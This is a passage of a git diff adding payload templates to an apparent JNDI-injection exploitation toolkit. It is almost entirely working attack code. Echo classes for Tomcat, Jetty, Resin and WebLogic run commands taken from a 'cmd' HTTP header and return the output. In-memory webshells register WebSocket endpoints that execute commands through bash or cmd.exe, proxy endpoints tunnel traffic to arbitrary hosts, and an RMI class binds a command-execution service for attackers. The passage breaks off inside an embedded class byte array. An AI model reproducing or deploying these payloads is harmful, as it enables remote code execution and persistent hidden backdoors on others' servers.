(f.get(obj)); + for (int j = 0; j < processors.size(); ++j) { + Object processor = processors.get(j); + f = processor.getClass().getDeclaredField("req"); + f.setAccessible(true); + Object req = f.get(processor); + Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req); + str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{CMD_HEADER}); + if (str != null && !str.isEmpty()) { + resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Integer(200)); + java.io.ByteArrayOutputStream baos = q(str); + try { + Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk", false, loader); + obj = cls.newInstance(); + cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, baos.toByteArray(), new Integer(0), baos.toByteArray().length); + resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj); + } catch (NoSuchMethodException var5) { + Class cls = Class.forName("java.nio.ByteBuffer", false, loader); + obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{baos.toByteArray()}); + resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj); + } + flag = true; + } + if (flag) break; + } + if (flag) break; + } catch (Exception ignored) { + } + } + + } catch (Exception ignored) { + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/WindowsEcho.java b/src/main/java/com/qi4l/jndi/template/echo/WindowsEcho.java new file mode 100644 index 00000000..e3eaac0e --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/WindowsEcho.java @@ -0,0 +1,59 @@ +package com.qi4l.jndi.template.echo; + +public class WindowsEcho { + + static { + try { + if(java.io.File.separator.equals("\\")){ + java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd"); + field.setAccessible(true); + + Class clazz1 = Class.forName("sun.nio.ch.Net"); + java.lang.reflect.Method method1 = clazz1.getDeclaredMethod("remoteAddress",new Class[]{java.io.FileDescriptor.class}); + method1.setAccessible(true); + + Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null); + java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0]; + constructor2.setAccessible(true); + + Class clazz3 = Class.forName("java.net.PlainSocketImpl"); + java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class}); + constructor3.setAccessible(true); + + java.lang.reflect.Method write = clazz2.getDeclaredMethod("write",new Class[]{byte[].class}); + write.setAccessible(true); + + java.net.InetSocketAddress remoteAddress = null; + java.util.List list = new java.util.ArrayList(); + java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor(); + for(int i = 0; i < 50000; i++){ + field.set((Object)fileDescriptor, (Object)(new Integer(i))); + try{ + remoteAddress= (java.net.InetSocketAddress) method1.invoke(null, new Object[]{fileDescriptor}); + if(remoteAddress.toString().startsWith("/127.0.0.1")) continue; + if(remoteAddress.toString().startsWith("/0:0:0:0:0:0:0:1")) continue; + list.add(new Integer(i)); + + }catch(Exception e){} + } + + for(int i = list.size() - 1; i >= 0; i--){ + try{ + field.set((Object)fileDescriptor, list.get(i)); + Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})}); + String[] cmd = new String[]{"cmd","/C", "whoami"}; + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next().trim(); + String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + (res.length()) + "\n\n" + res + "\n\n"; + write.invoke(socketOutputStream, new Object[]{result.getBytes()}); + break; + }catch (Exception e){ + //pass + } + } + } + } catch (Exception ignored) { + } + + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/jettyEcho.java b/src/main/java/com/qi4l/jndi/template/echo/jettyEcho.java new file mode 100644 index 00000000..36037a32 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/jettyEcho.java @@ -0,0 +1,78 @@ +package com.qi4l.jndi.template.echo; + +import java.io.ByteArrayOutputStream; + +public class jettyEcho { + + public static String CMD_HEADER = "cmd"; + + public static ByteArrayOutputStream q(String cmd) { + return null; + } + + static { + try { + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + field = obj.getClass().getDeclaredField("table"); + field.setAccessible(true); + obj = field.get(obj); + + Object[] obj_arr = (Object[]) obj; + for(int i = 0; i < obj_arr.length; i++){ + Object o = obj_arr[i]; + if(o == null) continue; + + field = o.getClass().getDeclaredField("value"); + field.setAccessible(true); + obj = field.get(o); + + if(obj != null && obj.getClass().getName().endsWith("AsyncHttpConnection")){ + Object connection = obj; + java.lang.reflect.Method method = connection.getClass().getMethod("getRequest", null); + obj = method.invoke(connection, null); + + method = obj.getClass().getMethod("getHeader", new Class[]{String.class}); + String cmd = (String)method.invoke(obj, new Object[]{"cmd"}); + + if(cmd != null && !cmd.isEmpty()){ + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + + method = connection.getClass().getMethod("getPrintWriter", new Class[]{String.class}); + java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(connection, new Object[]{"utf-8"}); + printWriter.println(res); + } + + break; + }else if(obj != null && obj.getClass().getName().endsWith("HttpConnection")){ + java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", null); + Object httpChannel = method.invoke(obj, null); + + method = httpChannel.getClass().getMethod("getRequest", null); + obj = method.invoke(httpChannel, null); + + method = obj.getClass().getMethod("getHeader", new Class[]{String.class}); + String cmd = (String)method.invoke(obj, new Object[]{CMD_HEADER}); + if(cmd != null && !cmd.isEmpty()){ + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + + method = httpChannel.getClass().getMethod("getResponse", null); + obj = method.invoke(httpChannel, null); + + method = obj.getClass().getMethod("getWriter", null); + java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj, null); + printWriter.println(res); + } + + break; + } + } + } catch (Exception ignored) { + } + + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/resinEcho.java b/src/main/java/com/qi4l/jndi/template/echo/resinEcho.java new file mode 100644 index 00000000..b5583c29 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/resinEcho.java @@ -0,0 +1,49 @@ +package com.qi4l.jndi.template.echo; + +public class resinEcho { + + public static String CMD_HEADER = "cmd"; + + static { + try { + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getSuperclass().getDeclaredField("threadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + field = obj.getClass().getDeclaredField("table"); + field.setAccessible(true); + obj = field.get(obj); + + Object[] obj_arr = (Object[]) obj; + for (int i = 0; i < obj_arr.length; i++) { + Object o = obj_arr[i]; + if (o == null) continue; + + field = o.getClass().getDeclaredField("value"); + field.setAccessible(true); + obj = field.get(o); + + if (obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")) { + com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest) obj; + String cmd = httpRequest.getHeader(CMD_HEADER); + + if (cmd != null && !cmd.isEmpty()) { + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse(); + httpResponse.setHeader("Content-Length", res.length() + ""); + java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", null); + method.setAccessible(true); + com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse, null); + httpResponseStream.write(res.getBytes(), 0, res.length()); + httpResponseStream.close(); + } + + break; + } + } + } catch (Exception ignored) { + } + + } +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/weblogicEcho.java b/src/main/java/com/qi4l/jndi/template/echo/weblogicEcho.java new file mode 100644 index 00000000..0a643213 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echo/weblogicEcho.java @@ -0,0 +1,39 @@ +package com.qi4l.jndi.template.echo; + +public class weblogicEcho { + + public static String CMD_HEADER = "cmd"; + + static { + try { + weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread) Thread.currentThread()).getCurrentWork(); + if (adapter.getClass().getName().endsWith("ServletRequestImpl")) { + String cmd = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, CMD_HEADER); + + if (cmd != null && !cmd.isEmpty()) { + String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter); + res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); + res.getServletOutputStream().flush(); + res.getWriter().write(""); + } + } else { + java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler"); + field.setAccessible(true); + Object obj = field.get(adapter); + obj = obj.getClass().getMethod("getServletRequest").invoke(obj); + String cmd = (String) obj.getClass().getMethod("getHeader", String.class).invoke(obj, "cmd"); + + if (cmd != null && !cmd.isEmpty()) { + String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj); + res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); + res.getServletOutputStream().flush(); + res.getWriter().write(""); + } + } + } catch (Exception ignored) { + } + + } +} diff --git a/src/main/java/com/qi4l/jndi/template/isOK.java b/src/main/java/com/qi4l/jndi/template/isOK.java new file mode 100644 index 00000000..246947d9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/isOK.java @@ -0,0 +1,15 @@ +package com.qi4l.jndi.template; + +/** + * @ClassName: isOK + * @Description: TODO + * @Author: Summer + * @Date: 2021/8/1 16:40 + * @Version: v1.0.0 + * @Description: + **/ +public class isOK { + public isOK(){ + System.out.println("sucess"); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/isSuccess.java b/src/main/java/com/qi4l/jndi/template/isSuccess.java new file mode 100644 index 00000000..91cbd287 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/isSuccess.java @@ -0,0 +1,19 @@ +package com.qi4l.jndi.template; + +public class isSuccess { + public String test = "impl run success"; + static { + System.out.println("static run success"); + isSuccess x=new isSuccess(); + System.out.println(x.getTest()); + } + + public String getTest() { + return test; + } + + public String toString() { + System.out.println("toString run success"); + return ""; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/cmsMSBYNC.java b/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/cmsMSBYNC.java new file mode 100644 index 00000000..f5e296d3 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/cmsMSBYNC.java @@ -0,0 +1,104 @@ +package com.qi4l.jndi.template.memshell.BypassNginxCDN; + +import java.lang.reflect.Field; +import java.util.*; +import java.io.InputStream; +import javax.servlet.ServletContext; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; + +import org.apache.tomcat.websocket.server.WsServerContainer; +import org.apache.tomcat.websocket.Constants; + +import javax.websocket.*; + +import org.apache.tomcat.websocket.server.WsHandshakeRequest; +import org.apache.tomcat.websocket.WsHandshakeResponse; + +import java.nio.charset.StandardCharsets; + +import org.apache.tomcat.util.codec.binary.Base64; +import org.apache.tomcat.util.security.ConcurrentMessageDigest; +import org.apache.tomcat.websocket.server.WsHttpUpgradeHandler; +import org.apache.tomcat.websocket.Transformation; +import org.apache.catalina.connector.RequestFacade; +import weblogic.servlet.internal.HttpConnectionHandler; +import weblogic.servlet.internal.ServletRequestImpl; +import weblogic.servlet.internal.ServletResponseImpl; +import weblogic.servlet.provider.ContainerSupportProviderImpl; + +public class cmsMSBYNC extends Endpoint implements MessageHandler.Whole { + + static { + try { + Map pathParams = Collections.emptyMap(); + List negotiatedExtensionsPhase = Collections.emptyList(); + Transformation transformation = null; + String subProtocol = null; + + Thread threadLocal = Thread.currentThread(); + Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); + workEntry.setAccessible(true); + weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor wlsRequestExecutor = (ContainerSupportProviderImpl.WlsRequestExecutor) workEntry.get(threadLocal); + Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); + field1.setAccessible(true); + weblogic.servlet.internal.HttpConnectionHandler connectionHandler = (HttpConnectionHandler) field1.get(wlsRequestExecutor); + ServletRequestImpl request = connectionHandler.getServletRequest(); + ServletContext servletContext = request.getSession().getServletContext(); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(cmsMSBYNC.class, "/x").build(); + WsServerContainer container = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); + + ServletResponseImpl response = connectionHandler.getServletResponse(); + response.setHeader(Constants.UPGRADE_HEADER_NAME, Constants.UPGRADE_HEADER_VALUE); + response.setHeader(Constants.CONNECTION_HEADER_NAME, Constants.CONNECTION_HEADER_VALUE); + response.setHeader(HandshakeResponse.SEC_WEBSOCKET_ACCEPT, getWebSocketAccept(request.getHeader("Sec-WebSocket-Key"))); + response.setStatus(101); + WsHandshakeRequest wsRequest = new WsHandshakeRequest(request, pathParams); + WsHandshakeResponse wsResponse = new WsHandshakeResponse(); + configEndpoint.getConfigurator().modifyHandshake(configEndpoint, wsRequest, wsResponse); + try { + WsHttpUpgradeHandler wsHandler = request.upgrade(WsHttpUpgradeHandler.class); + wsHandler.preInit(configEndpoint, container, wsRequest, negotiatedExtensionsPhase, subProtocol, transformation, pathParams, request.isSecure()); + // Tomcat 7 //wsHandler.preInit((Endpoint)configEndpoint, configEndpoint, container, wsRequest, negotiatedExtensionsPhase2, subProtocol, transformation, pathParams, request.isSecure()); + } catch (Exception e) { + e.printStackTrace(); + } + } catch (Exception ignored) { + } + } + private Session session; + @Override + public void onOpen(Session session, EndpointConfig endpointConfig) { + this.session = session; + session.addMessageHandler(this); + } + + @Override + public void onMessage(String s) { + try { + Process process; + boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); + if (bool) { + process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s }); + } else { + process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s }); + } + InputStream inputStream = process.getInputStream(); + StringBuilder stringBuilder = new StringBuilder(); + int i; + while ((i = inputStream.read()) != -1) + stringBuilder.append((char)i); + inputStream.close(); + process.waitFor(); + session.getBasicRemote().sendText(stringBuilder.toString()); + } catch (Exception exception) { + exception.printStackTrace(); + } + } + + private static String getWebSocketAccept(String key) { + byte[] WS_ACCEPT = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11".getBytes(StandardCharsets.ISO_8859_1); + byte[] digest = ConcurrentMessageDigest.digestSHA1(key.getBytes(StandardCharsets.ISO_8859_1), WS_ACCEPT); + return Base64.encodeBase64String(digest); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC.java b/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC.java new file mode 100644 index 00000000..05637e65 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC.java @@ -0,0 +1,194 @@ +package com.qi4l.jndi.template.memshell.BypassNginxCDN; + +import java.lang.reflect.Field; +import java.util.*; +import javax.servlet.ServletContext; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletRequestWrapper; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; + +import org.apache.tomcat.websocket.server.WsServerContainer; +import org.apache.tomcat.websocket.Constants; + +import javax.websocket.*; + +import org.apache.tomcat.websocket.server.WsHandshakeRequest; +import org.apache.tomcat.websocket.WsHandshakeResponse; + +import java.nio.charset.StandardCharsets; + +import org.apache.tomcat.util.codec.binary.Base64; +import org.apache.tomcat.util.security.ConcurrentMessageDigest; +import org.apache.tomcat.websocket.Transformation; +import org.apache.catalina.connector.RequestFacade; +import org.apache.tomcat.websocket.server.WsHttpUpgradeHandler; +import weblogic.servlet.internal.HttpConnectionHandler; +import weblogic.servlet.internal.ServletRequestImpl; +import weblogic.servlet.internal.ServletResponseImpl; +import weblogic.servlet.provider.ContainerSupportProviderImpl; + +import java.nio.ByteBuffer; +import java.nio.channels.AsynchronousSocketChannel; +import java.net.InetSocketAddress; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.io.ByteArrayOutputStream; +import java.nio.channels.CompletionHandler; + +public class proxyMSBYNC extends Endpoint { + + static { + try { + Thread threadLocal = Thread.currentThread(); + Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); + workEntry.setAccessible(true); + weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor wlsRequestExecutor = (ContainerSupportProviderImpl.WlsRequestExecutor) workEntry.get(threadLocal); + Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); + field1.setAccessible(true); + weblogic.servlet.internal.HttpConnectionHandler connectionHandler = (HttpConnectionHandler) field1.get(wlsRequestExecutor); + ServletRequestImpl request = connectionHandler.getServletRequest(); + ServletResponseImpl response = connectionHandler.getServletResponse(); + ServletContext servletContext = request.getSession().getServletContext(); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(proxyMSBYNC.class, "/x").build(); + WsServerContainer container = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); + Map pathParams = Collections.emptyMap(); + + + response.setHeader(Constants.UPGRADE_HEADER_NAME, Constants.UPGRADE_HEADER_VALUE); + response.setHeader(Constants.CONNECTION_HEADER_NAME, Constants.CONNECTION_HEADER_VALUE); + response.setHeader(HandshakeResponse.SEC_WEBSOCKET_ACCEPT, getWebSocketAccept(request.getHeader("Sec-WebSocket-Key"))); + response.setStatus(101); + WsHandshakeRequest wsRequest = new WsHandshakeRequest(request, pathParams); + WsHandshakeResponse wsResponse = new WsHandshakeResponse(); + configEndpoint.getConfigurator().modifyHandshake(configEndpoint, wsRequest, wsResponse); + try { + List negotiatedExtensionsPhase2 = Collections.emptyList(); + Transformation transformation = null; + String subProtocol = null; + RequestFacade requestFacade = getRequestFacade(request); + WsHttpUpgradeHandler wsHandler = requestFacade.upgrade(WsHttpUpgradeHandler.class); + if (wsHandler != null) { + // Tomcat 8 preInit + wsHandler.preInit(configEndpoint, container, wsRequest, negotiatedExtensionsPhase2, subProtocol, transformation, pathParams, request.isSecure()); + // Tomcat 7 preInit + // Endpoint ep = (Endpoint)configEndpoint.getConfigurator().getEndpointInstance(configEndpoint.getEndpointClass()); + // wsHandler.preInit(ep, configEndpoint, container, wsRequest, negotiatedExtensionsPhase2, subProtocol, transformation, pathParams, request.isSecure()); + } + } catch (Exception e) { + System.out.println(e.toString()); + } + } catch (Exception ignored) { + } + } + + long i =0; + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + HashMap map = new HashMap(); + static class Attach { + public AsynchronousSocketChannel client; + public Session channel; + } + void readFromServer(Session channel,AsynchronousSocketChannel client){ + final ByteBuffer buffer = ByteBuffer.allocate(50000); + Attach attach = new Attach(); + attach.client = client; + attach.channel = channel; + client.read(buffer, attach, new CompletionHandler() { + @Override + public void completed(Integer result, final Attach scAttachment) { + buffer.clear(); + try { + if(buffer.hasRemaining() && result>=0) + { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr,0,result); + baos.write(arr,0,result); + ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); + if (scAttachment.channel.isOpen()) { + scAttachment.channel.getBasicRemote().sendBinary(q); + } + baos = new ByteArrayOutputStream(); + readFromServer(scAttachment.channel,scAttachment.client); + }else{ + if(result > 0) + { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr,0,result); + baos.write(arr,0,result); + readFromServer(scAttachment.channel,scAttachment.client); + } + } + } catch (Exception ignored) {} + } + @Override + public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();} + }); + } + void process(ByteBuffer z,Session channel) { + try{ + if(i>1) + { + AsynchronousSocketChannel client = map.get(channel.getId()); + client.write(z).get(); + z.flip(); + z.clear(); + } + else if(i==1) + { + String values = new String(z.array()); + String[] array = values.split(" "); + String[] addrarray = array[1].split(":"); + AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); + int po = Integer.parseInt(addrarray[1]); + InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); + Future future = client.connect(hostAddress); + try { + future.get(10, TimeUnit.SECONDS); + } catch(Exception ignored){ + channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); + return; + } + map.put(channel.getId(), client); + readFromServer(channel,client); + channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); + } + }catch(Exception ignored){ + } + } + @Override + public void onOpen(final Session session, EndpointConfig config) { + i=0; + session.setMaxBinaryMessageBufferSize(1024*1024*20); + session.setMaxTextMessageBufferSize(1024*1024*20); + session.addMessageHandler(new MessageHandler.Whole() { + @Override + public void onMessage(ByteBuffer message) { + try { + message.clear(); + i++; + process(message,session); + } catch (Exception ignored) { + } + } + }); + } + private static RequestFacade getRequestFacade(HttpServletRequest request) { + if (request instanceof RequestFacade) { + return (RequestFacade) request; + } + else if (request instanceof HttpServletRequestWrapper) { + HttpServletRequestWrapper wrapper = (HttpServletRequestWrapper) request; + HttpServletRequest wrappedRequest = (HttpServletRequest) wrapper.getRequest(); + return getRequestFacade(wrappedRequest); + } + else { + throw new IllegalArgumentException("Cannot convert [" + request.getClass() + "] to org.apache.catalina.connector.RequestFacade"); + } + } + private static String getWebSocketAccept(String key) { + byte[] WS_ACCEPT = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11".getBytes(StandardCharsets.ISO_8859_1); + byte[] digest = ConcurrentMessageDigest.digestSHA1(key.getBytes(StandardCharsets.ISO_8859_1), WS_ACCEPT); + return Base64.encodeBase64String(digest); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/RMIBindTemplate.java b/src/main/java/com/qi4l/jndi/template/memshell/RMIBindTemplate.java new file mode 100644 index 00000000..3cd2b853 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/RMIBindTemplate.java @@ -0,0 +1,44 @@ +package com.qi4l.jndi.template.memshell; + +import java.rmi.Remote; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.rmi.server.UnicastRemoteObject; + +/** + * RMI 内存马(也不算内存马吧,算是一种方式) + * 参考 weblogic 的 T3/IIOP 回显方式 + * 启动一个 RMI Registry 并 bind 一个具有命令执行逻辑的方法 + * 然后攻击者可以利用此 Registry 调用对应的 service + *

+ * 目前的实现方式存在被反制的风险,慎用哦 + *

+ */ +public class RMIBindTemplate implements Remote { + static int port; + + static int bindPort; + + static String serviceName; + + + static { + try { + Registry registry = null; + try { + registry = LocateRegistry.createRegistry(port); + } catch (Exception ignored) { + + } + if (registry != null) { + registry = LocateRegistry.getRegistry("127.0.0.1", port); + } + + RMIBindTemplate rbt = new RMIBindTemplate(); + UnicastRemoteObject.exportObject(rbt, bindPort); + registry.rebind(serviceName, rbt); + } catch (Exception e) { + e.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJproxy.java b/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJproxy.java new file mode 100644 index 00000000..880309d0 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJproxy.java @@ -0,0 +1,154 @@ +package com.qi4l.jndi.template.memshell.Tomcat_Spring_Jetty; + +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.loader.WebappClassLoaderBase; +import org.apache.catalina.webresources.StandardRoot; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; +import java.net.InetSocketAddress; +import java.nio.ByteBuffer; +import java.nio.channels.AsynchronousSocketChannel; +import java.nio.channels.CompletionHandler; +import java.util.HashMap; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import javax.websocket.*; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; + +public class MsTSJproxy extends Endpoint implements MessageHandler.Whole,CompletionHandler{ + + private Session session; + long i = 0; + private AsynchronousSocketChannel client = null; + final ByteBuffer buffer = ByteBuffer.allocate(102400); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + HashMap map = new HashMap(); + + public MsTSJproxy() {} + + static { + String path = "/proxy"; + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources(); + if (standardroot == null){ + Field field = null; + try { + field = webappClassLoaderBase.getClass().getDeclaredField("resources"); + field.setAccessible(true); + }catch (Exception e){ + try { + field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); + } catch (NoSuchFieldException ex) { + ex.printStackTrace(); + } + field.setAccessible(true); + } + try { + standardroot = (StandardRoot)field.get(webappClassLoaderBase); + } catch (IllegalAccessException e) { + e.printStackTrace(); + } + } + StandardContext standardContext = (StandardContext) standardroot.getContext(); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(MsTSJproxy.class, path).build(); + ServerContainer container = (ServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); + try { + container.addEndpoint(configEndpoint); + } catch (Exception e) { + e.printStackTrace(); + } + + } + + + + @Override + public void completed(Integer result, Session channel) { + buffer.clear(); + try { + if(buffer.hasRemaining() && result>=0) + { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr,0,result); + baos.write(arr,0,result); + ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); + if (channel.isOpen()) { + channel.getBasicRemote().sendBinary(q); + } + baos = new ByteArrayOutputStream(); + readFromServer(channel,client); + }else{ + if(result > 0) + { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr,0,result); + baos.write(arr,0,result); + readFromServer(channel,client); + } + } + } catch (Exception ignored) { + } + } + + @Override + public void failed(Throwable t, Session channel) { + t.printStackTrace(); + } + + @Override + public void onMessage(ByteBuffer message) { + try { + message.clear(); + i++; + process(message,session); + } catch (Exception ignored) { + } + } + + @Override + public void onOpen(Session session, EndpointConfig endpointConfig) { + this.i = 0; + this.session = session; + session.setMaxBinaryMessageBufferSize(1024*1024*1024); + session.setMaxTextMessageBufferSize(1024*1024*1024); + session.addMessageHandler(this); + } + + void readFromServer(Session channel,final AsynchronousSocketChannel client){ + this.client = client; + buffer.clear(); + client.read(buffer, channel, this); + } + void process(ByteBuffer z,Session channel) + { + try{ + if(i>1) + { + AsynchronousSocketChannel client = map.get(channel.getId()); + client.write(z).get(); + readFromServer(channel,client); + } + else if(i==1) + { + String values = new String(z.array()); + String[] array = values.split(" "); + String[] addrarray = array[1].split(":"); + AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); + int po = Integer.parseInt(addrarray[1]); + InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); + Future future = client.connect(hostAddress); + try { + future.get(10, TimeUnit.SECONDS); + } catch(Exception ignored){ + channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); + return; + } + map.put(channel.getId(), client); + readFromServer(channel,client); + channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); + } + }catch(Exception ignored){ + } + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJser.java b/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJser.java new file mode 100644 index 00000000..51fea92f --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJser.java @@ -0,0 +1,49 @@ +package com.qi4l.jndi.template.memshell.Tomcat_Spring_Jetty; + +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.loader.WebappClassLoaderBase; +import org.apache.catalina.webresources.StandardRoot; +import org.apache.tomcat.websocket.server.WsServerContainer; +import javax.websocket.DeploymentException; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +public class MsTSJser { + static { + try { + String urlPath = "/cmd"; + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources(); + if (standardroot == null){ + Field field; + try { + field = webappClassLoaderBase.getClass().getDeclaredField("resources"); + field.setAccessible(true); + }catch (Exception e){ + field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); + field.setAccessible(true); + } + standardroot = (StandardRoot)field.get(webappClassLoaderBase); + } + StandardContext standardContext = (StandardContext) standardroot.getContext(); + ClassLoader cl = Thread.currentThread().getContextClassLoader(); + Class clazz; + byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 49, 0, 118, 10, 0, 30, 0, 46, 8, 0, 47, 10, 0, 48, 0, 49, 10, 0, 8, 0, 50, 8, 0, 51, 10, 0, 8, 0, 52, 10, 0, 53, 0, 54, 7, 0, 55, 8, 0, 56, 8, 0, 57, 10, 0, 53, 0, 58, 8, 0, 59, 8, 0, 60, 10, 0, 61, 0, 62, 7, 0, 63, 10, 